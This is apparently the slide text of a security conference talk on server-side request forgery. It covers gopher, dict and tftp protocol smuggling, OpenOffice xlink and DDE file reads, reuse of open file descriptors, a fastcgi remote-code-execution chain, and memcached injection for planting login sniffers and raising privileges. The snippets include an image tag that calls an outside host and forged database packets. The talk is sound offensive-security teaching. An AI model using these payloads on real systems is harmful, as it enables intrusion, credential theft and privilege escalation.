

SSRF attacks and sockets: smorgasbord of vulnerabilities

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Authors bio

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- Working together in ONsec company on web applications security

A few words about modern web security



Input validation



Format processing

External network access



Internal network access



Forge your protocol brands!

- Make a request from a server
- Attack internal network
- Forge packets
- Splitting/smuggling
- Other protocols!
- Universal ways such as gopher://
- Exploit anything ;)



SSRF - new type of vulnerabilities?

- We mean that SSRF is a generalized class of attacks
- Introduced and used for convenience
- Several vulnerabilities together or only one can lead to SSRF attacks
- To vulns classification use CWE ;)



Where can i find SSRF?

- Export from remote files (like as «Upload from URL», «Export RSS feed»)
- POP3/IMAP/SMTP connections from webapps
- File format processing (XML, docx, archives, etc)
- Databases
- Others ...



Writing to socket in webapp code - bad way

- Host/port filtering is strange on webapp level. Work for firewall and admins, right?
- Protocol smuggling (CRLF and others)
- What you mean when send in socket «GET / HTTP/1.1\r\nHost: dom\r\n\r\n» ?
- And what server mean when receive this?

Using HTTP clients - bad way too

- When you using HTTP clients such as cURL remember their features:
 - ! Unsafe redirect (`http:// --> file://`)
 - Various protocols support (`gopher:// dict:// tftp:// rtsp://`)
 - Maximum URL length is more than browsers value (100Mb URL is OK)

Redirect tricks

```
header("Location: ".$_GET['r']);
```

- Bypass webapp filters i.e. preg_replace using redirect
 - any host -> localhost
 - valid port -> any port
 - valid schema -> any schema
 - SOP for browsers, not for HTTPClients



Dict schema

- <http://tools.ietf.org/html/rfc2229>
- `curl dict://localhost:8000/GET / HTTP/1.1`
- Receive on server:

`CLIENT libcurl 7.24.0`

`GET / HTTP/1.1`

`QUIT`

MARCH 1993

Gopher schema

- <http://www.ietf.org/rfc/rfc1436.txt>
- TCP packets with your content
- Without \r \n \t chars by RFC (and \00 for cURL). But all chars in LWP, Java, ASP.Net ;)
- By Polyakov/Chastukhin [ERPscan] at BH_US_12 and CVE-2012-5085 (fixed now)
- `curl gopher://localhost:8000/2MyData`

```
# nc -vv -l -p 8000
```

```
listening on [any] 8000 ...
```

```
connect to [127.0.0.1] from localhost [127.0.0.1] 64096
```

```
MyData
```



MARCH 1993

Gopher schema

- PHP doesn't support gopher protocol!
- Do not worry! PHP supports all vulnerabilities!
- --with-curlwrappers provide gopher protocol in `file_get_contents` and others such as `XXE`

JULY 1992

TFTP schema

- <http://www.ietf.org/rfc/rfc1350.txt>
- UDP packets with your content (w/o \00 in cUrl) and 0x00 0x01 first bytes (really bad)
- `curl tftp://localhost:64/MyUdpPacketHere`

```
02:11:21.378724 IP6 localhost.55928 > localhost.64: UDP, length 54
```

```
0x0000: 6000 0000 003e 1140 0000 0000 0000 0000 `....>.@.....
```

```
0x0010: 0000 0000 0000 0001 0000 0000 0000 0000 .....
```

```
0x0020: 0000 0000 0000 0001 da78 2bcb 003e 0051 .....x+..>.Q
```

```
0x0030: 0001 4d79 5564 7050 6163 6b65 7448 6572 ..MyUdpPacketHer
```

```
0x0040: 6500 6f63 7465 7400 7473 697a 6500 3000 e.octet.tsize.0.
```

```
0x0050: 626c 6b73 697a 6500 3531 3200 7469 6d65 blksize.5|2.time
```

```
0x0060: 6f75 7400 3600
```

```
out.6.
```

JULY 1992

TFTP schema

- Currently working on splitting datagrams to bypass 0x00 0x01 header in second packet
- Without stable results now unfort ;(

Various format processing issues



- XML - External Entities, Signatures, WS etc (see http://erpscan.com/wp-content/uploads/2012/11/SSRF.2.0.poc_.pdf and <http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report>)
- OpenOffice products (Draw, Calc and others)
- All soft which can open sockets (provide links to external files in file format) - all modern soft
- others (see you at HITB 2013)

OpenOffice - pretty good stuff

- Universal solution to convert office documents
- Common in Enterprise system and large portals
- Many forks (Libre and others)
- What happens while uploaded document is converted?
- What about links to external files in the documents?



OpenOffice - pretty good stuff for SSRF

- RTFM <http://docs.oasis-open.org/office/v1.2/>
- Find all tags with xlink:href attribute
- Do not forget about macros and applets (but really rare activated)
- Exploit it!
- `<draw:image xlink:href="http://ololo.onsec.ru/?i'mSSRFed" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/>`



OpenOffice - pretty good stuff for SSRF

- **Formula** for happiness
- DDE is your friend
- =DDE("soffice","file:///i-want-to-read-this-file...")
- Use simple formula to full path disclosure
=CELL("filename")
- Address links
 - A1='file:///etc/hosts'#\$Sheet1.A1:B31
 - B1=INDIRECT(A1)

SSRF exploitation ways

- Open new socket
- Use already opened sockets/files (authorized)
- Where can i find opened sockets/files?



File descriptors: basics

- Where does files in SSRF theme?
- Data streams basics: sockets and files, etc
- File descriptor - pointer to data stream
- Each process have their own FD
- dup, fork, exec - O_CLOEXEC
- New data stream - new FD
- Privileges while creating FD, not while access

File descriptors: API

- FD have minimum number by default (easy brute)
- Access to already opened FDs:
 - PHP 5.3.3 <= 5.3.14 provide special wrapper `fd://` to use FD simplest (later only on CLI mode)
 - Java: `java.io.FileDescriptor`
 - Perl: `open AA, '>&2'; print AA 'DataToFD';`
 - Python: `os.open + os.write`
 - Ruby: `fd=IO.new(99,'w');fd.write('ToFD-No99');`
 - Shell I/O redirection: `$echo 123 > &2`
 - Privileges for chuid programs

File descriptors: ProcFS

- Special pseudo files system
- Common in Linux, available in FreeBSD (not by default)
- While opening `/proc/<PID>/fd/<N>` new datastream will be create with the same parameters (!not the same as FD API access to FD directly!)
- You need together two FS privileges to access `/proc`
 - privileges on `/proc/<PID>/fd/<N>`
 - privileges on target file (!but not directories)
- Examples:
 - RHEL `/var/log/httpd/` - 0700, but `access.log` - 0644
 - Debian before first rotate `access.log` - 0644, than 0640

File descriptors: cases

- Already opened FDs:
 - May be opened with privileges greater than current
 - In sockets case may be already authorized
- Typical case: starting Apache:
 - open sockets to listen (80,443) by root
 - open error/access.logs by root
 - fork childs
 - chuid() to www-data for all forks
- You may write to error/access.logs and sockets from child processes

Stuff here:



File descriptors: examples



- Write a HTTP packet into opened FD to forge server output (to current client):

```
fd6.write("HTTP 200 OK\r\nHost:  
localhost\r\n..."); //also forge logs
```

- Write a MySQL packet into opened FD to do SQL command:

```
fd1.write("\x22\x00\x00\x00\x03INSERT  
INTO aa VALUES(1, 'fwrite')");
```


Database connections pool

- Pool is array of sockets with authorized sessions
- Start when application server started and never close while app server working
- May be many pools with different privileges (but not different for SSRF)

PHP fastcgi SSRF RCE

SPECIAL FOR CLOUDS

- Set `php_admin_value`, `php_admin_flag` from Stuff here:
frontend
- Access to fastcgi over socket threw SSRF
- run any file as PHP script
- Set fastcgi headers in forged fastcgi packet and overwrite `php_admin_value`, `php_value`
- `allow_url_fopen + auto_prepend_file + data://text/php,<?php phpinfo();?> = RCE`
- doesn't work when `php_admin_{value, flag}` set in php fpm config



Want something really cool?



Memcached SSRF: easy and very dangerously

- Host-basic auth in general
- TCP and UDP sockets by default
- At the same host with webapp
- Plain/text protocol (binary also available)
- Does not close the socket after an improper request
- Needed only `\n` (0x0a) injection to do this

Memcached SSRF: exploitation methodology

- Collect all available keys
- Sort keys by name, determine interesting
- Find interesting data
- Replace interesting data to arbitrary

Memcached SSRF: inject sniffer

- Find html/js/etc template of login page in memcached values
- Insert your login/password JS/etc sniffer
- Watch sniffer's logs and get passwords ;)
- Profit

Memcached SSRF: dynamic templates RCE

- Find template with interpreter's code
- Modify code to arbitrary
- Call page with target template
- Profit

Memcached SSRF: escalate your privileges

- Find session in memcached keys
- Determine key which contain privileges flag of your current session (such as 'Priv')
- Modify your access level to «superadmin»
- You can also create a new «special» session with TTL 100 years if you want
- Profit

Format SSRF answer to read data (HTTP)

- In many cases webapp logic provide reading only one output format (such as images or XML)
- Use HTTP request smuggling to do this
- One connection but many requests
- If protocol support this, you get concatenated output
- Try challenge <http://>



Format SSRF answer to read data (HTTP)

```
$f=fsockopen("localhost",80);  
fputs($f,"GET /$path HTTP/1.1\r\nHost:  
localhost\r\n\r\n");
```

GET /1 HTTP/1.1
Host: localhost

GET /2 HTTP/1.1
Host: localhost

GET /3 HTTP/1.1
Host: localhost

HTTP/1.1 200 OK

...

data 1

HTTP/1.1 200 OK

...

data 2

HTTP/1.1 200 OK

...

data3

Format SSRF answer to read data (HTTP)

GET /head HTTP/1.1

Host: localhost

GET /data HTTP/1.1

Host: localhost

GET /foot HTTP/1.1

Host: localhost

```
while($s = fgets($f))
    $resp.=$s;
$resp=substr($resp, strpos($resp, "\r\n\r\n"));
$doc = new DOMDocument();
$doc->loadXML($resp);
echo $doc->getElementsByTagName("root")->item(0)->nodeValue;
```

HTTP/1.1 200 OK

...

<?xml version='1.0'?><root>
<![CDATA[

HTTP/1.1 200 OK

...

i want to read this
<secret>ololo</secret>

HTTP/1.1 200 OK

...

]]></root>

Format SSRF answer to read data (HTTP)

- How to create header and footer as you want?
- Range HTTP header is your friend
- All web pages are your friends
- Make a mosaic of pieces - server responses

What about images?

- Valid JPG with data which you want to read in EXIF
- GIF header and your data at EOF
- Inject data into image header which hold even after resize (<http://ax330d.blogspot.ru/2011/06/mosaic-of-attacks-from-image-upload.html>)
- PHP getimagesize() bypass (<http://lab.onsec.ru/2012/05/php-all-getimage-bypass.html>)



What about hosting centers?

- TFTP server contain machine images
- Machines get TFTP images until netboot
- Attacker may get images from TFTP and get /etc/shadow and other staff

What the next?

- SSRF bible cheatsheet available now!
- <https://docs.google.com/document/d/1vITkVWZtrhzRLy0bYXBcdLUedXGb9njTNIjXa3u9akHM>
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